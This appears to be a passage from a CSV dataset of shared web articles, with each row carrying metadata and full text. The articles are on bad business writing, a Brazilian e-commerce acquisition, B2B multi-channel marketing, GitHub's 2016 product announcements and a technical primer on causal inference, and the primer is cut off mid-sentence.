1473870933,CONTENT SHARED,-8377626164558006982,-5527145562136413747,5228941642832000454,,,,HTML,https://hbr.org/2016/09/bad-writing-is-destroying-your-companys-productivity,Bad Writing Is Destroying Your Company's Productivity,"A hidden source of friction is slowing your company down. Your workers are complicit in it. So is your management. And it's driving everybody nuts. It's bad business writing. I surveyed 547 businesspeople in the first three months of this year. I looked specifically at people who write at least two hours per week in addition to email. They told me that they spend an average of 25.5 hours per week reading for work. (About a third of that is email.) And 81% of them agree that poorly written material wastes a lot of their time. A majority say that what they read is frequently ineffective because it's too long, poorly organized, unclear, filled with jargon, and imprecise. Entry-level employees get little training in how to write in a brief, clear, and incisive way. Instead, they're immersed in first-draft emails from their managers, poorly edited reports, and jargon-filled employee manuals. Their own flabby writing habits fit right in. And the whole organization drowns in productivity-draining blather. Consider: Vague writing dilutes leadership. Yahoo has suffered from dithering management focus for a decade. Now CEO Marissa Mayer has agreed to sell it to Verizon. Here's a passage from her recent email to staff on that occasion : ""...our incredibly loyal and dedicated employee base has stepped up to every challenge along the way....The teams here have not only built incredible products and technologies, but have built Yahoo into one of the most iconic, and universally well-liked companies in the world....I'm incredibly proud of everything that we've achieved, and I'm incredibly proud of our team. I love Yahoo, and I believe in all of you."" That's four uses of ""incredible"" or ""incredibly"" in a single paragraph. All that cheerleading reads like misdirection. It's going to be challenging for Yahoo to continue to succeed as part of Verizon, and happy, vacuous language certainly won't inspire the workers who haven't quit yet. (The rest of the email is similarly vague.) Contrast this to how Apple's Tim Cook communicates - as in his clear, jargon-free defense of the company's decision not to crack the encryption on a terrorist's iPhone. Clear leadership, expressed in writing, creates alignment and boosts productivity. For example, in writing email, managers from the CEO on down must set an example by communicating exactly what they want, clearly, in the subject line or title and the first two sentences of everything they write. The workers reading it will just skip to the key facts anyway, so lose the filler and don't waste their time. Do this right, and you'll get a reputation for truth. Your workers won't waste time on the Kremlinology of reading your intentions; they'll get to work on accomplishing the goals you set out for them. Clarity in marketing tells customers - and workers - that they can trust you. How do your marketers and PR people communicate? Do they put out press releases filled with industry jargon and meaningless superlatives? When clarity and truth are core values for marketers, they can spend time trumpeting what works, rather than concealing what doesn't. For example, here's what Google writes about how it treats customers : Focus on the user and all else will follow. Since the beginning, we've focused on providing the best user experience possible. Whether we're designing a new internet browser or a new tweak to the look of the homepage, we take great care to ensure that they will ultimately serve you, rather than our own internal goal or bottom line. Every customer can understand that, and it rings true. It inspires workers as well. So marketers and the rest of the company can move forward in a united and productive way. Fuzzy writing allows fuzzy thinking. Clear writing uses well-organized, active-voice sentences to explain what is happening, what ought to happen, and what people need to do. Conversely, inexact and passive language reflects gaps in thinking. A great example is the report that the UMass Donahue Institute published about the economics of hosting the 2024 Olympics in Boston. Its passive-voice analysis hid who was responsible for important parts of the bid, with sentences like these: [These] are issues that will need to be closely monitored in order to ensure the public sector is protected from extensive financial commitments. To date, using insurance to protect a host city from cost overruns has not been used extensively. Questions like who would monitor expenses and who would secure hypothetical insurance loomed over the bid. In the end, these uncertainties caused the citizens and political leaders of Boston to reject an Olympic bid. Requiring clear, direct, active language has two benefits. It forces writers to think through what they really mean and the arguments they can use to support it. And it makes smart people stand out. If you prize clarity, the clear thinkers will rise to the top. A culture of clear writing makes managers more productive. It means that the material that ends up on your desk will be clearer too. Senior managers can waste time rooting through their subordinates' fuzzy writing, or they can spend effort changing the culture to one that prizes brevity, clarity, and directness. That's worth the effort, because it means everyone in the organization - especially management - will end up more productive. It's time to clear all the crap out of your inboxes and make those 25.5 hours per week more efficient. It's time to commit to a culture of clarity. It could make a big difference in how smoothly your business runs - and it could make your day a lot less annoying.",en
1473874157,CONTENT SHARED,-7155846267321183721,-1352064057049251194,6343065023641645861,,,,HTML,http://www.bitmag.com.br/2016/09/locaweb-compra-plataforma-de-e-commerce-fbits/,Locaweb compra plataforma de e-commerce FBITS - B!T magazine,"A Locaweb adquiriu, através da sua subsidiária de comércio eletrônico Tray, a totalidade do capital da FBITS, desenvolvedora de plataformas e ferramentas de e-commerce para o mercado corporativo. O valor da transação não foi revelado, mas a transação trará para a Locaweb uma carteira com mais de 200 clientes corporativos, incluindo marcas de varejo como Diesel, Kipling, The North Face, Suggar Eletrodomésticos, Lojas Rede, Oscar Calçados e A.Dias ar condicionado. O braço de comércio eletrônico da Locaweb havia criado há apenas seis meses uma área exclusiva voltada para o mercado corporativo e com a aquisição da FBITS a expectativa é capturar sinergias para ampliar vantagens competitivas e aumentar o valor percebido pelos clientes. Somando as duas carteiras, as empresas terão agora mais de 500 clientes. A FBITS permanecerá com sua operação em Curitiba e a expectativa de Willians Marques, cofundador e CEO da Tray, é de acelerar ainda mais o crescimento da empresa, que hoje está em cerca de 40% ao ano. ""Com a entrada da FBITS, esse número deve ultrapassar os 50%, vindo principalmente de clientes de médio e grande porte. Por todo o trabalho e empenho ao longo dos 13 anos de história da Tray, o maior reconhecimento que podemos ter é obter esse resultado em um mercado que cresceu 5,2% no primeiro semestre desse ano"", revela em comunicado. Tiago Girelli, cofundador e diretor executivo da FBITS disse estar ""animado"" com a nova fase da FBITS. ""Começamos há 10 anos e há quatro mudamos nosso foco completamente para produtos voltados totalmente para o comércio eletrônico. Ser adquirido pela unidade de e-commerce de uma das maiores empresas de tecnologia do Brasil é sinal de que todos os anos de trabalho foram reconhecidos"", avaliou.",pt
1473883606,CONTENT SHARED,156889606517612871,-9120685872592674274,-7457303759138544708,,,,HTML,https://blogs.adobe.com/digitaleurope/campaign-marketing/multi-channel-marketing-in-2015/,Multi-Channel Marketing in 2015 - It's not rocket science.,"B2B multi-channel marketing has grown exponentially in the last few years. Organisations are distributing marketing content through an ever increasing number of channels. A well-executed multi-channel campaign is the difference between successfully enabling your content to stand out and be seen, or risk being lost in the noise of today's competitive markets. This article will talk about how we approach, plan and launch major B2B campaigns here at Adobe and hopefully inspire a few marketers to take a fresh approach at existing challenges. My name is Taylor Chadwick and I'm a Search Marketing Manager at Adobe. One of my responsibilities is executing campaigns that reach our target audience of digital marketing professionals. Over time we have developed a multi-channel campaign execution strategy that works for us and helps us reach our customers and prospects. At the core of our approach is communication, consistency and awareness of colleague's responsibilities. Let's face it that isn't rocket science. Being aware of others (who probably too have their faces buried in their laptops) and of what they do in their day is essential in pulling together a scalable campaign. You and your colleagues are the most important part of the campaign execution, it's the human element that really counts. This approach requires appointing a central person to take charge and organise other individuals. Within a group there will always be individuals that relish taking lead on a small project, so my advice is to find those people and take it in turns. Organising activity that spans across various Geo's and responsibilities is easier said than done, but done correctly can yield great results. Another fundamental part of this approach is the co-ordination of campaign execution. Now this doesn't have to be done in a James Bond style with synchronised watches, but you do have a limited time frame here, my suggestion is aim for a 3 hour window. My final point here before we take a closer look at individual channels and platforms, is to take advantage of all resources available to you. While this seems an obvious point we often don't do this, after all suggestions can always be dismissed if you don't feel they will have a positive impact. One example of this is vendor account managers, who will be the nature of their roles are always looking to help expand and optimise campaigns, it's what they are there for, take advantage. So let's take a closer look at our approach. Social Media Marketing Our Social Media Marketing efforts span across various platforms coordinating organic with paid promotion: Twitter - Twitter is an agile, real-time and more interactive platform than other channels, so monitor it appropriately. It's great for targeting publications, followers of thought leaders, industry events as well as relevant KW's & interests. LinkedIn -Your prospective buyers are spending more time than ever before using LinkedIn to network, market and grow their businesses. If you're targeting a B2B audiences, there's no better channel than LinkedIn. We take full advantage of LinkedIn's targeting which includes industry, company size, seniority and even company name options. YouTube - Google have made leaps and bounds with YouTube's new targeting functions, and if there are any video aspects to your campaign my advice is you look a little closer. We specifically utilise of YouTube's InMarket segments to target Marketers, Advertisers and the Business Tech Communities, helping us drive great engagement. Blog - Your blog should be a central point of your campaign that aligns around the focal point, it should provide insight and valuable commentary. It's important to provide context around blog posts that support lead gen programs and they can't be too pushy. Search Marketing Adobe optimises Search with a 3 pillared approach across Paid Search, On-site Search & SEO: Paid Search (SEM) - Paid Search is the most reactive form of Search Marketing, it can adapt and change to support campaigns quickly and efficiently. When we launch a large lead generation campaign our new adtext & KW's are waiting in the wings. Website Search - Make sure your content is findable on your website by including relevant terms in your on-site search tool. At Adobe our onsite search optimisation is carried out by the SEO team as they are aware of most current trends. Search Engine Optimisation (SEO) - Content is still king and SEO should be considered in all copy writing activities. There are major ranking benefits to ensuring the SEO team are locked into every aspect of your content creation process. Get them involved from day one. Media & Online advertising Media is a great way to extend the reach and the lifespan of your campaigns, promoting your content, visuals & videos through relevant targeted external sites. 3 rd Party email, syndication of your content, newsletter sponsorship & display all play a key role here. Ensuring you define the correct audience (targeting) & effective process for allocating your media spend (testing & optmisation) is a must. Website Your website will have major influence at various stages throughout your sales cycle. It's critical your web team are motivated to support your campaign by populating the most valuable real estate on your website, with consistent visuals & content. It's important to remember you probably won't get this right first time and that's fine. Learning from mistakes and taking advantage of opportunities is all part of the game. At Adobe we add, tweak and change our approach constantly, after all it's an ever shifting landscape . How does your multi-channel approach differ from ours, let us know in the comments? Cover Image © Kiddaikiddee - Fotolia.com",en
1473891058,CONTENT SHARED,8115033558441775155,-2690891220216547125,-1829930130860246096,,,,HTML,https://github.com/blog/2256-a-whole-new-github-universe-announcing-new-tools-forums-and-features,"A whole new GitHub Universe: announcing new tools, forums, and features","Today I welcomed more than 1,500 people to our second annual Universe conference in San Francisco, an event designed to celebrate the people building the future of software. It's an important reminder about who we're here for-whether it's the open source maintainer whose project is transforming healthcare, an automotive company building a self-driving car, or a teenager teaching herself how to program after she finishes her homework. Our goal is to make building software easier for you. And with that goal in sight, we're announcing our biggest update to the platform yet. We're making it easier for you to work together to ship high-quality code through improved code review tools, and we're giving our profiles an update to better show who you are as a developer. We're making integrating with GitHub a first class experience through major API improvements. And we're taking steps toward making GitHub a better place for businesses to get work done with added security measures for organizations. I'm proud of our team for coming together to ship so many improvements to the platform, and I hope you'll find them useful as you continue to build amazing things. Read on for more specifics, and keep an eye out for continued improvements to your GitHub experience in the coming months. Manage your ideas with Projects Taking projects from idea to launch isn't easy. There's a lot to coordinate behind the scenes, and so many tools out there to help you organize and distribute work. To help you integrate project management into your development cycle without skipping a beat (or even opening a new browser tab), we're introducing Projects . With Projects, you can manage work directly from your GitHub repositories. Create cards from Pull Requests, Issues or Notes and organize them into custom columns, whether it's ""In-progress"", ""Done"", ""Never going to happen"" or any other framework your team uses. Drag and drop the cards inside a column to prioritize them or move them from one column to another as your work progresses. And with Notes, you can capture every early idea that comes up as part of your standup or team sync, without polluting your list of issues. For more on what's changing, watch a quick overview . Although we'll quickly be adding to Projects, our initial release currently supports: A New Projects tab-at the same level as Code, Issue, Pull Requests within a repository-that lists all of your projects Workflow columns that you can name and reorder Cards that you can drag and drop between columns pointing to issues, Pull Requests, or notes Tools built on top of Projects by some fantastic partners, including Waffle.io and ZenHub Code better with Reviews Collaboration is the core of building great software-and code review is critical to collaboration. When another person looks at your code and gives it the same level of critique that you did while writing it, your work gets better. We're improving code review on GitHub to help you share the weight of building software and improve the software you build. Designing the best way for you to review code is a continuous process, but our first step is now available on all pull requests-Reviews. In addition to commenting on specific lines of code, Reviews let you formally ""approve"" or ""request changes"" to pull requests. You can also leave a review summary and delete, edit, or bundle comments before you submit them. To streamline conversations and cut down on noise, you can reply to inline comments without drafting a formal review or starting a new conversation. This also means you can have multiple conversations per line of code-creating more explicit feedback loops, smarter conversations, and better code review. Finally, administrators can require Reviews before merging via protected branches . When Reviews are required, you must have a least one approval and no changes requested before you can merge. These changes are only the first step of a much greater roadmap toward faster, friendlier code reviews. We're working on a handful of follow-up feature improvements-including the ability to request reviews from your peers. For more information on Reviews, including what we've shipped today, check out the documentation or a quick tutorial video on Reviews . Integrate seamlessly with GitHub Developers use a variety of tools to ship their software and we've seen hundreds of integrations built to work with GitHub. Now we're shipping some major improvements to our API and adding new ways to collaborate transparently not only with GitHub engineers but also the broader community of integrators. As host to the largest community of developers, we want to make the GitHub platform uniquely enjoyable for integrators to build applications that change how people work. Here's what we're launching right away: A public Platform Roadmap that demonstrates what GitHub Platform Engineers are launching next and why A formalized process to solicit feedback and launch updates to our platform Early-access and pre-release programs that let you access new features and APIs and provide you with the support you need to ensure launch readiness for the software you build on top of GitHub The GitHub Platform Forum which provides a direct communication channel between ecosystem developers and GitHub engineers. With that, we are excited to announce two new projects that aim to make our platform more flexible: Integrations Early Access We're rethinking our integrations model to provide better ways for tools to extend and integrate with GitHub. We've added the ability for an integration to act on its own behalf instead of impersonating a user-making it a first class actor on GitHub without using a paid seat. Admins will have the ability to configure integrations directly on Organizations and control which repositories they allow access to. Read more about Integrations on our Developer Blog or check out the documentation . The GitHub GraphQL API Early Access The GraphQL API simplifies your product development by letting developers access all the data they need, and only the data they need, with one API call. With the GitHub GraphQL API, you get the same API we use to build GitHub features. To learn more and see how it works, check out our Engineering Blog . Have a friendlier business experience on GitHub.com Organizations on GitHub are the best way for teams of developers to build and ship software together, and with the added security of two-factor authentication enforcement and upcoming product enhancements, they've never been better. Easily enforce security Now Organization administrators can require two-factor authentication for all members-making it easier to support security policies. Admins will be asked to confirm the two-factor authentication requirement and a confirmation modal will list members and forks that will be removed as a result. GitHub will notify members if they're being removed from an organization with email and in-product notifications. Finally, as always, admins can invite members back with their forks and settings in tact once their security is up to speed. Read more about requiring two-factor authentication in your organization. Take greater control over your permissions Over the last few years, we've rolled out LDAP and CAS to securely and efficiently manage permissions on GitHub Enterprise. Now we're making sure businesses on GitHub.com have the tools they need to automate identity and access management. Our first public launch is a SAML-based Single Sign-on (SSO) option. Administrators will have the ability to manage their GitHub users through the identity provider that already manages access to the host of applications they use in their current workflow. This option isn't ready quite yet, but it will launch as a beta in the coming months. Sign up to try it out when it does . Get help from the GitHub Community We're grateful to have a community of more than 16 million developers. While developers gain experience implicitly on GitHub as they work alongside other developers, we know that's not enough. To help, we're creating a dedicated space for you to learn from each other-and to have conversations about GitHub itself. The GitHub Community Forum will become a place where developers can talk shop, get help, and learn together. It will also help us introduce new features and improvements and give developers the ability to share thoughts and feedback with us directly. Look out for the GitHub Community Forum in 2017. See what's behind your green squares Your profile now contains your entire history of work on GitHub, from your first commit to your most recent pull request. And a per-repository breakdown reveals where you're spending your time each month. You can see special events in your history-the day you signed up for GitHub, opened your first pull request, or joined an organization-and showcase your best work by pinning favorite projects to your profile. For more on what's changed, take a look at the documentation or watch the video . While I'm really excited about these improvements to GitHub, I'm more excited to see what you'll create with them.",en
1473904365,CONTENT SHARED,-1119244241345534741,3829784524040647339,-1194717654599940206,,,,HTML,https://medium.com/@akelleh/a-technical-primer-on-causality-181db2575e41,A Technical Primer On Causality,"What does ""causality"" mean, and how can you represent it mathematically? How can you encode causal assumptions, and what bearing do they have on data analysis? These types of questions are at the core of the practice of data science, but deep knowledge about them is surprisingly uncommon. If you analyze data without regard to causality, you open your results up for the possibility of enormous biases. This includes everything from recommendation system results, to post-hoc reports on observational data, to experiments run without proper holdout groups. I've been blogging a lot recently about causality, and wanted to go through some of the material at a more technical level. Recent posts have been aimed at a more general audience. This one will be aimed at practitioners, and will assume a basic working knowledge of math and data analysis. To get the most from this post you should have a reasonable understanding of linear regression and probability (although we'll review a lot of probability). Prior knowledge of graphical models will make some concepts more familiar, but is not required. How do you quantify causality? Judea Pearl, in his book Causality, constantly remarks that until very recently, causality was a concept in search of a language. Finally, there is a mathematically rigorous way of writing what we've wanted to write explicitly all along: X causes Y. We do this in the language of graphs. This incredibly simple picture actually has a precise mathematical interpretation. It's trivial in the two variable case, but what it implies is that the joint distribution of X and Y can be simplified in a certain way. That is, P(X,Y) = P(Y|X)P(X). Where it gets really interesting is when we build the theorems of causality on top of this mathematical structure. We'll do that, but first let's build some more intuition. Let's consider an example of three variables. X causes Y, which in turn causes Z. The picture looks like this: This could be, for example, I turn on the light switch (X), current flows through the wires (Y), and the light comes on (Z). In this picture, X puts some information into Y (knowing there is current, we know the switch is on). Y contains all of the information about X that is relevant for determining the value of Z: knowing the value of Y makes X irrelevant. We only need to know that there is power flowing - the switch is now irrelevant. X only effects Z through its effect on Y. This picture is a very general way of summarizing these relationships, and can apply to any system with the same causal structure. How does this causal relationship look mathematically? The distribution of a variable summarizes all of our statistical knowledge about it. When you know something about a variable (say, if we're interested in Z, we know the value of Y), you can narrow down the possible values it can take to a smaller range. There's another distribution that summarizes this new state of knowledge: the conditional distribution. We write the distribution Z takes on given a certain value of Y, say y, as P(Z|Y=y). We'll usually suppress the extra notation, and just write it as P(Z|Y). Here's where this picture gets interesting. When we know Y, X doesn't provide any additional information. Y already summarizes everything about X that is relevant for determining Z. If you look at the distribution of values that Z takes when we know the value of Y, P(Z|Y), it should be no different from the distribution that we get if we also know the value of X, P(Z|Y,X). In other words, P(Z|Y,X) = P(Z|Y). When knowing Y makes X irrelevant, we say that Y ""blocks"" X from Z. Another technical term is that Y d-separates X and Z. A final way of writing this is Z ⏊ X | Y, which you can read as ""Z is independent of X, given Y"". These graphs summarize all statements about ""blocking"" in the system we're interested in. This concept goes well beyond the 3-variable chain example. There's a nice sense (and it's not the ordinary one!) in which you can say Z is independent of X. It's a version of independence in the context of other information. This kind of independence amounts to something more like ""the dependence has been explained away"". It's not too hard to show (do it!) that when P(Z|Y,X) = P(Z|Y), it's also true that P(Z,X|Y) = P(Z|Y)P(X|Y). This is the definition of conditional independence . It looks exactly like independence (which you'd write as P(Z,X) = P(Z)P(X)), except that you condition on Y everywhere. Conditional independence is neither necessary nor sufficient for independence. In our example, even though X and Z are conditionally independent (given Y), they are statistically dependent. In our example, where X → Y → Z, X and Z will indeed be correlated (more precisely, they will be statistically dependent). To summarize, the most important points up to here are that (1) we can quantify causation using graphs, and (2) these graphs have real implications for the statistical properties of a system (namely, they summarize independence and conditional independence). Finally, it turns out there's a very general rule when you have a picture like this. We saw that the direct cause of a variable contains all of the (measured) information relevant for determining its value. This generalizes: you can factor the joint distribution into one factor per variable, and that factor is just the probability of that variable given the values of its ""parents,"" or the other variables pointing in to it, where, for example, above, the parents of Z, or par(Z), is evaluated as par (Z) = {Y} (the set of variables containing only Y) . To write it out generally, Or, more succinctly using product notation, Before we move on to an example, I want to make one point of clarification. We're saying that causal structure can be represented as a graph. As it happens, there are plenty of graphs that represent factorizable joint distributions, but don't have a causal interpretation. In other words, causal structure implies a graph, but a graph does not imply causal structure! Example Time First, lets look at this X → Y → Z example. It's easy to generate a data set with this structure. X is just random, normally distributed data. In real life, this would be something that's generated by factors you're not including in your model. Y is a linear function of X, and it has its own un-accounted-for factors. These are represented by the noise we're adding to Y. Z is generated from Y similarly as Y is generated from X. We can see that X and Y are correlated, and are noisily, linearly related to each other. Similarly, Y and Z are related, and X and Z are related. From this picture, you'd never know that Y can explain away X's effect on Z. This won't be obvious until we start doing regression analysis. Now, let's do a regression. Z should be related to Y (look at the formulae and convince yourself!), and should have a slope equal to it's coefficient in the formula before. We can see this by just doing the regression, This is great, and it's what we expect. Similarly, you can regress Z on X, getting the result You find a similar result as before when you regress Z on X, where the coefficient is just the product of the X →Y coefficient and the Y → Z coefficient. Now this is all as we expect. Here's where it's going to get interesting. If we regress Z on Y and X together, something weird happens. Before, they both had non-zero coefficients. Now, we get The X coefficient goes away!! It's not statistically significantly different from zero. Why is this!? (note: by chance, it's actually relatively large, but still not stat. sig. I could have cherry-picked a dataset that had it closer to zero, but decided I wouldn't encourage the representativeness heuristic ). Notice there is also no significant improvement in the R^2! You may have run into something similar to this in your work, where regressing on two correlated independent variables gives different coefficients than regressing on either independently. This is one of the reasons (that is, causal chains) for that effect. It's not simply that the regression is unstable and giving you wrong estimates. You may try to get around the issue through regularization, but the problem is deeper than the empirical observation of some degeneracy in regression coefficients. One of your variables has been explained away. Let's look at what this means quantitatively. We'll see that the implications go way beyond our example. Let's see how deep it goes. Down the rabbit hole... The regression estimator, z(x) , is really the expectation value of a distribution. For some value of x, it's your best guess for the value of z: the average z at that value of x. The regression estimate could properly be written In this case, all of the relationships are linear (by construction), and so we'll assume that the expectation takes on a linear form, where the epsilon term is the total noise when you use this equation, and the beta coefficient is derived using the data-generating formulas in the code above. Looking at our original formulae, and plugging in the formula for the value of y (given the value of x), So the coefficient is just the product of the Y → Z and X → Y coefficients. Looking at these formulae, if we write the estimator z(x,y) as a function of x and y, it's clear that we now know the value that both x and the disturbance term take. The variable y , together with some noise, are the only variables that determine z. If we don't know y, then knowing x still leaves the fuzziness from the y noise term, \epsilon_{yx} (unfortunately, no inline LaTeX in Medium!). If we know y, then this fuzziness is gone. The value that the random noise term takes on has already been decided. This is why the R^2 from regressing on x is so much smaller than that from regressing on y ! Now, what happens when we try to make a formula involving x and y together? We'll see that the x dependence goes away! This is because of d-separation! If you write the regression estimate of z on both y and x , you get But we saw before that this distribution is the same without x! Plugging in P(z|x,y) = P(z|y), we get In other words, the regression is independent of x , and the estimate is the same as just regressing on y alone! Indeed, comparing the coefficients of these two regressions, we see that the y coefficient is the same in both cases, and we've correctly estimated the effect of Y on Z. When you're thinking causally, it's nice to keep in mind the distributions that generate the data. If we work at the level of the regression model, we lose the probability manipulations that make it clear why coefficients disappear. It's only because we go back to the distributions, with no assumptions on the form of expectations values, that the coefficient's disappearance is clearly attributable to the causal relationships in the data set. Direct vs. Total Effect Let's examine what we're measuring a little more closely. There is a difference between the direct effect one variable has on another, and the effect it has through long, convoluted chains of events. The first kind of effect is called the ""direct"" effect. The sum of direct effects and indirect chains of events are the ""total"" effect. In our example above, regressing Z on X correctly estimates the total effect of X on Z, but incorrectly estimates the direct effect. If we interpreted the regression coefficient as the direct effect, we'd be wrong: X only effects Z through Y. There is no direct effect. This all gets very confusing, and we really need some guiding principles to sort it all out. Depending on what you're trying to estimate (the total or the direct effect), you have to be very careful what you regress on! The hardest thing is the right variables to regress on depend on the graph. If you don't know the graph, then you don't know what to regress on. You might be thinking at this point ""I'll just see if a coefficient goes away when I add variables to my regression, so I'll know whether it has a direct or indirect effect"". Unfortunately, it's not so simple. Up to this point we've only been thinking about chain graphs. You can get large, complicated graphs that are much more difficult to sort out! We'll see that the problem is that, in general, you have to worry about bias when you're trying to measure the total effect of one variable on another. There are two other 3-node graph structures, and they turn out to be very nice for illustrating where bias comes from. Let's check them out! Bias Let's go ahead and draw the other two graph structures (technically a third is Z →Y →X, but this is just another chain). Below, we have the fork on the left, and the collider on the right. The left graph might be something like online activity (Y) causes me to see an ad (X), and to make online purchases for an irrelevant product (Z). The one on the right might be something like having skills at math (X) and skill at art (Z) both have an effect on my admission to college (Y). The left graph shows two variables, X and Z, that are related by a common cause . The right graph shows X and Z with a common effect. Neither of these two diagrams have a direct or indirect causal relationship between X and Z . Let's go ahead and generate some data so we can look at these graphs in more detail! Plotting this data gives the following. For the fork (the left graph): Notice that everything is correlated. If you regressed Z on X, you would indeed find a non-zero regression coefficient, even though there's no causal relationship between them at all! This is called confounding bias. Try this plotting yourself for the collider (the right graph)! We would like to be able to estimate the right effect - is there a way we can use d-separation and conditional independence to do this? It turns out there is! If you read the previous post on bias , then you have a strong intuitive grasp of how conditioning removes bias. If you haven't, I strongly encourage you to read it now . I'll still try to give a concise explanation here. The fork causes Z and X to be correlated because as Y changes, it changes both X and Z. In the example I mentioned in passing: if you're a more active internet user, you're more likely to see an ad (because you're online more). You're also more likely to purchase a product (even one irrelevant to the ad) online. When one is higher, so is the other. The two end up correlated even though there's no causal relationship between them. More abstractly, in the case of linear relationships (like in our toy data), Y being larger makes both X and Z larger. If we fix the value of Y, then we've controlled any variation in X and Z caused by variation in Y. Conditioning is exactly this kind of controlling: it says ""What is the distribution of X and Z when we know the particular value of Y is y."" It's nicer to write P(Z,X|Y) as P(Z,X|Y=y) to emphasize this point. From this argument, it's clear that in this diagram Z and X should be independent of each other when we know the value of Y. In other words, P(Z,X|Y) = P(Z|Y)P(X|Y), or, ""Y d-separates X and Z"". You can actually derive this fact directly from the joint distribution and how it factorizes with this graph. It'll be nice to see, so you can try the next one! Let's do it: Applying the factorization formula above, then, from the definition of conditional probability Indeed, we can see this when we do the regression. The x coefficient is zero when we regress on y as well. Notice this is exactly the same result as in the previous case! Indeed, if you want to estimate the effect of X on Y when they are confounded, the solution is to ""control for"" (condition on) the confounder. To make it clear that this isn't just because we're working with linear models, you could calculate this result directly from the expectation value, as well: so Z is indeed independent of X (given Y). This comes out directly as a result of the (statistical properties of) the causal structure of the system that generated the data. Try doing this calculation yourself for the collider graph! Are X and Z dependent initially (consult your plots!)? Are they dependent when you condition on Y (try regressing!)? Spoilers below! The other side of this calculation is that we can show X and Z, while having no direct causal relationship, should generally be dependent at the level of their joint distribution. This formula doesn't factor any more. It's clear here that the coupling between the two pieces that want to be factors comes through the summation over Y. Except in special cases, X and Z are coupled statistically through their relationship with Y. Y causes X and Z to become dependent. So we've seen a few results from looking at this graph. X and Z are generally dependent, even though there's no causal relationship between them. This is called ""confounding,"" and Y is called a ""confounder"". We've also seen that conditioning on Y causes X and Z to become statistically independent. You can simply measure this as the regression coefficient of X on Z, conditional on Y. If you repeated this analysis on the collider (the right graph), you'd find that X and Z are generally independent. If you condition on Y, then they become dependent. The intuition there, as described in a previous post , is that knowing an effect of two possible causes, and knowing one of the causes, you learn something about the other. If the system you're thinking of is a sidewalk, and the causes of it being wet or not (rain or a sprinkler), then knowing that the sidewalk is wet, and it didn't rain, it's more likely that the sprinkler was on. This raises are very interesting point. In both of these pictures, there was no direct causal relationship between X and Z. In one picture, you estimate the correct direct effect of X on Z by conditioning on Y, and the incorrect effect if you don't. In the other picture, you estimate the correct effect when you don't condition, and the incorrect effect if you do! How do you know when to control and when not to? The ""back door"" criterion There is a criterion you can use to estimate the total causal effect of one variable on another variable. We saw that conditioning on the variable in between X and Z on the chain resulted in measuring no coefficient, while not conditioning on it resulted in measuring the correct total effect We saw that conditioning on the central variable in a collider estimated the wrong total effect, but not conditioning on it estimated the correct total effect. We saw that conditioning on the central variable in a fork gave the correct total effect, but not conditioning on it gave the wrong one. What happens when the graphs are more complicated? Suppose we had fully connected graph on ten variables. What then?! It turns out that our examples above provide the complete intuition required to understand the more general result. The property for identifying the right variables to control is called the ""back door criterion,"" and it is the general solution for finding the set of variables you should control for. I'm going to throw the complete answer out there, then we'll dissect it. Directly from Pearl's Causality, 2nd Ed.: This criterion is extremely general, so let's pick it apart a little. Z are the variables he's saying we're controlling for. We want to estimate the effect of X_i on X_j. DAG stands for ""directed acyclic graph,"" and it's just a mathematically precise necessary property for being a causal graph (technically you can have cyclic ones, but that's another story). We'll probably go into that in a later post. For now, let's take a look at these criteria. Criterion (i) says not to condition on ""descendents"" of the cause we're interested in. A descendent is an effect, an effect of and effect, and so on. (The term comes from genealogy: you're a descendant of your father, your grandfather, etc.). This is what keeps us from conditioning on the middle variable in a chain, or the middle variable of a collider. Criterion (ii) says ""if there is a confounding path between the cause and effect, we condition on something along the confounding path (but not violating criterion (i)!)"". This is what makes sure we condition on a confounder. There's a lot on interesting nuance here, but we're just working on learning the basics for now. Let's see how all of this comes into play when we want to estimate an effect. Pearl gives the formula for controlling: but how is this related to regression? Let's think of a ""causal regression"". We want the expectation value we expect y to take on given that X takes the value of x (with the hat on top). Another way of writing this is do(x) , meaning that we intervene to fix the value of x. This is the true total causal effect of x on y. So here, the expectation value is just our regression estimate! It behaves how we've seen above when we condition on various control variables, and does what we expect it to. There's an extra P(Z) term, and a summation over Z. All this is doing is weighting each regression, and taking an average regression effect over the values the control variable, Z, takes on. So now we have a ""causal regression""! Problems in practice The main problem with implementing this approach in practice is that it assumes knowledge of the graph. Pearl argues that causal graphs are really very static things, so lend themselves well to being explored and measured over time. Even if the quantitative relationships between the variables change, it's not likely that the causal structures do. In my experience, it's relatively difficult to build causal graphs from data. You can do it from a mixture of domain knowledge, statistical tests, logic, and experimentation. In some future posts, I'll take some sample open-data data sets and see what we can say about causality based on observational data. For now, you'll have to take my word for it: it's hard. In light of this, this approach is extremely useful for seeing where estimating causal effects based on observational data breaks down. This breakdown is the basis for ""correlation does not imply causation"" (i.e. P(Y|X) != P(Y|do(X)). The underlying assumption that causality can be represented as a causal graph is the basis for the statement ""there is no correlation without causation"". I haven't yet seen a solid counter-example to this. In the end, if you can show that a causal effect has no bias, then the observational approach is just fine. This may mean doing an experiment once to establish that there's no bias, then taking it on faith thereafter. At the least, that approach avoids repeating an experiment over and over to make sure nothing has changed about the system. This is an incredibly powerful framework. At the very least, it gives you a way of talking to someone else about what you think the causal structure of a system is. Once you've written it down, you can start testing it! I think there are some exciting directions for applications, and I'll spend the remainder of the post pointing in one of them: Machine Learning vs. Social Science In machine learning, the goal is often just to reduce prediction error, and not to estimate the effects of interventions in a system. Social science is much more concerned with the effects of interventions, and how those might inform policy. At IC2S2 recently, in Sendhil Mullainathan's keynote, he called this the ""beta-problem"" (the focus on the regression coefficients, more common in social science) and the ""y-hat problem"" (the focus on the actual prediction, more common in machine learning). Extreme examples are as in lasso regression, where the variables that are selected vary in random subsets of the data set! There is no consistent estimate of the coefficients in that case: it's a pure y-hat problem. Here, there's a very interesting application to machine learning: knowing the causal graph, you could use the back-door criterion for subset selection. Once you've solved the ""beta-problem,"" you might be better at solving the ""y-hat"" problem. This wouldn't be hard to test using an ensemble of random data sets: simply generate random graphs, and compare lasso in cross-validation against the back-door approach. I went ahead and did this for a slightly simple approach to finding blocking sets. It turns out that the parents of a node d-separate it from its predecessors. Conditioning on the parents (X) of a node (Y), Z is the empty set. I used this simple rule along with this code for random data sets to calculate the cross-validation R^2 for a data set with 30 variables, and N=50. On average, the dependent variable had 9 parents. If we histogram the number of data sets vs. their cross-validation R^2, we can see that lasso is clearly an improvement over a naive linear regression Now, compare lasso with regression on the parents alone (a simple way of applying the back-door criterion) That looks pretty nice! In fact, regression on the parents worked better than lasso! (I chose the lasso parameter using grid-search to initialize [and find a bounding range for] a function minimization, so it wasn't an easy competitor to beat!). Discovering and regressing on the direct causes of Y (instead of dumping all of the data into a smart algorithm) solves the 